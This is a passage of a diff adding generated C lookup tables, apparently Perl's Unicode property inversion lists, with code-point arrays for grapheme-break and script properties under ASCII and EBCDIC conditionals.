+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF4,
+	0xE31,
+	0xE32,
+	0xE33,
+	0xE3B,
+	0xE47,
+	0xE4F,
+	0xEB1,
+	0xEB2,
+	0xEB3,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC8,
+	0xECE,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF40,
+	0xF71,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102D,
+	0x1038,
+	0x1039,
+	0x103F,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x1083,
+	0x1084,
+	0x1087,
+	0x108D,
+	0x108E,
+	0x109D,
+	0x109E,
+	0x1100,
+	0x1200,
+	0x135D,
+	0x1360,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x180B,
+	0x180F,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1A17,
+	0x1A1C,
+	0x1A55,
+	0x1A5F,
+	0x1A60,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BE6,
+	0x1BF4,
+	0x1C24,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x200B,
+	0x2010,
+	0x2028,
+	0x202F,
+	0x2060,
+	0x2070,
+	0x20D0,
+	0x20F1,
+	0x261D,
+	0x261E,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2695,
+	0x2697,
+	0x26F9,
+	0x26FA,
+	0x2708,
+	0x2709,
+	0x270A,
+	0x270E,
+	0x2764,
+	0x2765,
+	0x2CEF,
+	0x2CF2,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E00,
+	0x302A,
+	0x3030,
+	0x3099,
+	0x309B,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA828,
+	0xA880,
+	0xA882,
+	0xA8B4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA954,
+	0xA960,
+	0xA97D,
+	0xA980,
+	0xA984,
+	0xA9B3,
+	0xA9C1,
+	0xA9E5,
+	0xA9E6,
+	0xAA29,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4E,
+	0xAA7C,
+	0xAA7D,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAEB,
+	0xAAF0,
+	0xAAF5,
+	0xAAF7,
+	0xABE3,
+	0xABEB,
+	0xABEC,
+	0xABEE,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xD800,
+	0xE000,
+	0xFB1E,
+	0xFB1F,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFEFF,
+	0xFF00,
+	0xFF9E,
+	0xFFA0,
+	0xFFF0,
+	0xFFFC,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x10376,
+	0x1037B,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AE5,
+	0x10AE7,
+	0x11000,
+	0x11003,
+	0x11038,
+	0x11047,
+	0x1107F,
+	0x11083,
+	0x110B0,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C2,
+	0x111C4,
+	0x111CA,
+	0x111CD,
+	0x1122C,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112EB,
+	0x11300,
+	0x11304,
+	0x1133C,
+	0x1133D,
+	0x1133E,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11357,
+	0x11358,
+	0x11362,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11435,
+	0x11447,
+	0x114B0,
+	0x114C4,
+	0x115AF,
+	0x115B6,
+	0x115B8,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11630,
+	0x11641,
+	0x116AB,
+	0x116B8,
+	0x1171D,
+	0x1172C,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A5C,
+	0x11A86,
+	0x11A9A,
+	0x11C2F,
+	0x11C37,
+	0x11C38,
+	0x11C40,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16F51,
+	0x16F7F,
+	0x16F8F,
+	0x16F93,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E944,
+	0x1E94B,
+	0x1F1E6,
+	0x1F200,
+	0x1F308,
+	0x1F309,
+	0x1F33E,
+	0x1F33F,
+	0x1F373,
+	0x1F374,
+	0x1F385,
+	0x1F386,
+	0x1F393,
+	0x1F394,
+	0x1F3A4,
+	0x1F3A5,
+	0x1F3A8,
+	0x1F3A9,
+	0x1F3C2,
+	0x1F3C5,
+	0x1F3C7,
+	0x1F3C8,
+	0x1F3CA,
+	0x1F3CD,
+	0x1F3EB,
+	0x1F3EC,
+	0x1F3ED,
+	0x1F3EE,
+	0x1F3FB,
+	0x1F400,
+	0x1F442,
+	0x1F444,
+	0x1F446,
+	0x1F451,
+	0x1F466,
+	0x1F46A,
+	0x1F46E,
+	0x1F46F,
+	0x1F470,
+	0x1F479,
+	0x1F47C,
+	0x1F47D,
+	0x1F481,
+	0x1F484,
+	0x1F485,
+	0x1F488,
+	0x1F48B,
+	0x1F48C,
+	0x1F4AA,
+	0x1F4AB,
+	0x1F4BB,
+	0x1F4BD,
+	0x1F527,
+	0x1F528,
+	0x1F52C,
+	0x1F52D,
+	0x1F574,
+	0x1F576,
+	0x1F57A,
+	0x1F57B,
+	0x1F590,
+	0x1F591,
+	0x1F595,
+	0x1F597,
+	0x1F5E8,
+	0x1F5E9,
+	0x1F645,
+	0x1F648,
+	0x1F64B,
+	0x1F650,
+	0x1F680,
+	0x1F681,
+	0x1F692,
+	0x1F693,
+	0x1F6A3,
+	0x1F6A4,
+	0x1F6B4,
+	0x1F6B7,
+	0x1F6C0,
+	0x1F6C1,
+	0x1F6CC,
+	0x1F6CD,
+	0x1F918,
+	0x1F91D,
+	0x1F91E,
+	0x1F920,
+	0x1F926,
+	0x1F927,
+	0x1F930,
+	0x1F93A,
+	0x1F93D,
+	0x1F93F,
+	0x1F9D1,
+	0x1F9DE,
+	0xE0000,
+	0xE1000
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_GCB__XX_invlist[] = { /* for EBCDIC 037 */
+	672,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x40,
+	0xCA,
+	0xCB,
+	0xFF,
+	0x100,
+	0x300,
+	0x370,
+	0x483,
+	0x48A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x600,
+	0x606,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x64B,
+	0x660,
+	0x670,
+	0x671,
+	0x6D6,
+	0x6DE,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x70F,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x7A6,
+	0x7B1,
+	0x7EB,
+	0x7F4,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x859,
+	0x85C,
+	0x8D4,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x984,
+	0x9BC,
+	0x9BD,
+	0x9BE,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CE,
+	0x9D7,
+	0x9D8,
+	0x9E2,
+	0x9E4,
+	0xA01,
+	0xA04,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xABC,
+	0xABD,
+	0xABE,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB3C,
+	0xB3D,
+	0xB3E,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xC00,
+	0xC04,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC81,
+	0xC84,
+	0xCBC,
+	0xCBD,
+	0xCBE,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD04,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4F,
+	0xD57,
+	0xD58,
+	0xD62,
+	0xD64,
+	0xD82,
+	0xD84,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF4,
+	0xE31,
+	0xE32,
+	0xE33,
+	0xE3B,
+	0xE47,
+	0xE4F,
+	0xEB1,
+	0xEB2,
+	0xEB3,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC8,
+	0xECE,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF40,
+	0xF71,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102D,
+	0x1038,
+	0x1039,
+	0x103F,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x1083,
+	0x1084,
+	0x1087,
+	0x108D,
+	0x108E,
+	0x109D,
+	0x109E,
+	0x1100,
+	0x1200,
+	0x135D,
+	0x1360,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x180B,
+	0x180F,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1A17,
+	0x1A1C,
+	0x1A55,
+	0x1A5F,
+	0x1A60,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BE6,
+	0x1BF4,
+	0x1C24,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x200B,
+	0x2010,
+	0x2028,
+	0x202F,
+	0x2060,
+	0x2070,
+	0x20D0,
+	0x20F1,
+	0x261D,
+	0x261E,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2695,
+	0x2697,
+	0x26F9,
+	0x26FA,
+	0x2708,
+	0x2709,
+	0x270A,
+	0x270E,
+	0x2764,
+	0x2765,
+	0x2CEF,
+	0x2CF2,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E00,
+	0x302A,
+	0x3030,
+	0x3099,
+	0x309B,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA828,
+	0xA880,
+	0xA882,
+	0xA8B4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA954,
+	0xA960,
+	0xA97D,
+	0xA980,
+	0xA984,
+	0xA9B3,
+	0xA9C1,
+	0xA9E5,
+	0xA9E6,
+	0xAA29,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4E,
+	0xAA7C,
+	0xAA7D,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAEB,
+	0xAAF0,
+	0xAAF5,
+	0xAAF7,
+	0xABE3,
+	0xABEB,
+	0xABEC,
+	0xABEE,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xD800,
+	0xE000,
+	0xFB1E,
+	0xFB1F,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFEFF,
+	0xFF00,
+	0xFF9E,
+	0xFFA0,
+	0xFFF0,
+	0xFFFC,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x10376,
+	0x1037B,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AE5,
+	0x10AE7,
+	0x11000,
+	0x11003,
+	0x11038,
+	0x11047,
+	0x1107F,
+	0x11083,
+	0x110B0,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C2,
+	0x111C4,
+	0x111CA,
+	0x111CD,
+	0x1122C,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112EB,
+	0x11300,
+	0x11304,
+	0x1133C,
+	0x1133D,
+	0x1133E,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11357,
+	0x11358,
+	0x11362,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11435,
+	0x11447,
+	0x114B0,
+	0x114C4,
+	0x115AF,
+	0x115B6,
+	0x115B8,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11630,
+	0x11641,
+	0x116AB,
+	0x116B8,
+	0x1171D,
+	0x1172C,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A5C,
+	0x11A86,
+	0x11A9A,
+	0x11C2F,
+	0x11C37,
+	0x11C38,
+	0x11C40,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16F51,
+	0x16F7F,
+	0x16F8F,
+	0x16F93,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E944,
+	0x1E94B,
+	0x1F1E6,
+	0x1F200,
+	0x1F308,
+	0x1F309,
+	0x1F33E,
+	0x1F33F,
+	0x1F373,
+	0x1F374,
+	0x1F385,
+	0x1F386,
+	0x1F393,
+	0x1F394,
+	0x1F3A4,
+	0x1F3A5,
+	0x1F3A8,
+	0x1F3A9,
+	0x1F3C2,
+	0x1F3C5,
+	0x1F3C7,
+	0x1F3C8,
+	0x1F3CA,
+	0x1F3CD,
+	0x1F3EB,
+	0x1F3EC,
+	0x1F3ED,
+	0x1F3EE,
+	0x1F3FB,
+	0x1F400,
+	0x1F442,
+	0x1F444,
+	0x1F446,
+	0x1F451,
+	0x1F466,
+	0x1F46A,
+	0x1F46E,
+	0x1F46F,
+	0x1F470,
+	0x1F479,
+	0x1F47C,
+	0x1F47D,
+	0x1F481,
+	0x1F484,
+	0x1F485,
+	0x1F488,
+	0x1F48B,
+	0x1F48C,
+	0x1F4AA,
+	0x1F4AB,
+	0x1F4BB,
+	0x1F4BD,
+	0x1F527,
+	0x1F528,
+	0x1F52C,
+	0x1F52D,
+	0x1F574,
+	0x1F576,
+	0x1F57A,
+	0x1F57B,
+	0x1F590,
+	0x1F591,
+	0x1F595,
+	0x1F597,
+	0x1F5E8,
+	0x1F5E9,
+	0x1F645,
+	0x1F648,
+	0x1F64B,
+	0x1F650,
+	0x1F680,
+	0x1F681,
+	0x1F692,
+	0x1F693,
+	0x1F6A3,
+	0x1F6A4,
+	0x1F6B4,
+	0x1F6B7,
+	0x1F6C0,
+	0x1F6C1,
+	0x1F6CC,
+	0x1F6CD,
+	0x1F918,
+	0x1F91D,
+	0x1F91E,
+	0x1F920,
+	0x1F926,
+	0x1F927,
+	0x1F930,
+	0x1F93A,
+	0x1F93D,
+	0x1F93F,
+	0x1F9D1,
+	0x1F9DE,
+	0xE0000,
+	0xE1000
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_GEOMETRICSHAPES_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x25A0,
+	0x2600
+};
+
+static const UV PL_GEOMETRICSHAPESEXT_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1F780,
+	0x1F800
+};
+
+static const UV PL_GEOR_invlist[] = { /* for all charsets */
+	17,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x589,
+	0x58A,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x1100,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E
+};
+
+static const UV PL_GEORGIANSUP_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2D00,
+	0x2D30
+};
+
+static const UV PL_GLAG_invlist[] = { /* for all charsets */
+	23,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x484,
+	0x485,
+	0x487,
+	0x488,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2E43,
+	0x2E44,
+	0xA66F,
+	0xA670,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B
+};
+
+static const UV PL_GLAGOLITICSUP_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1E000,
+	0x1E030
+};
+
+static const UV PL_GONM_invlist[] = { /* for all charsets */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A
+};
+
+static const UV PL_GOTH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10330,
+	0x1034B
+};
+
+static const UV PL_GRAN_invlist[] = { /* for all charsets */
+	51,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x951,
+	0x953,
+	0x964,
+	0x966,
+	0xBAA,
+	0xBAB,
+	0xBB5,
+	0xBB6,
+	0xBE6,
+	0xBF3,
+	0x1CD0,
+	0x1CD1,
+	0x1CD2,
+	0x1CD4,
+	0x1CF2,
+	0x1CF5,
+	0x1CF8,
+	0x1CFA,
+	0x20F0,
+	0x20F1,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_GRBASE_invlist[] = { /* for ASCII/Latin1 */
+	1583,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x20,
+	0x7F,
+	0xA0,
+	0xAD,
+	0xAE,
+	0x300,
+	0x370,
+	0x378,
+	0x37A,
+	0x380,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x483,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x58D,
+	0x590,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x606,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61E,
+	0x64B,
+	0x660,
+	0x670,
+	0x671,
+	0x6D6,
+	0x6DE,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x70E,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7C0,
+	0x7EB,
+	0x7F4,
+	0x7FB,
+	0x800,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x830,
+	0x83F,
+	0x840,
+	0x859,
+	0x85E,
+	0x85F,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x903,
+	0x93A,
+	0x93B,
+	0x93C,
+	0x93D,
+	0x941,
+	0x949,
+	0x94D,
+	0x94E,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x982,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9BE,
+	0x9BF,
+	0x9C1,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CD,
+	0x9CE,
+	0x9CF,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9E6,
+	0x9FE,
+	0xA03,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3E,
+	0xA41,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA83,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xAC1,
+	0xAC9,
+	0xACA,
+	0xACB,
+	0xACD,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAE6,
+	0xAF2,
+	0xAF9,
+	0xAFA,
+	0xB02,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB3E,
+	0xB40,
+	0xB41,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB66,
+	0xB78,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBF,
+	0xBC0,
+	0xBC1,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCD,
+	0xBD0,
+	0xBD1,
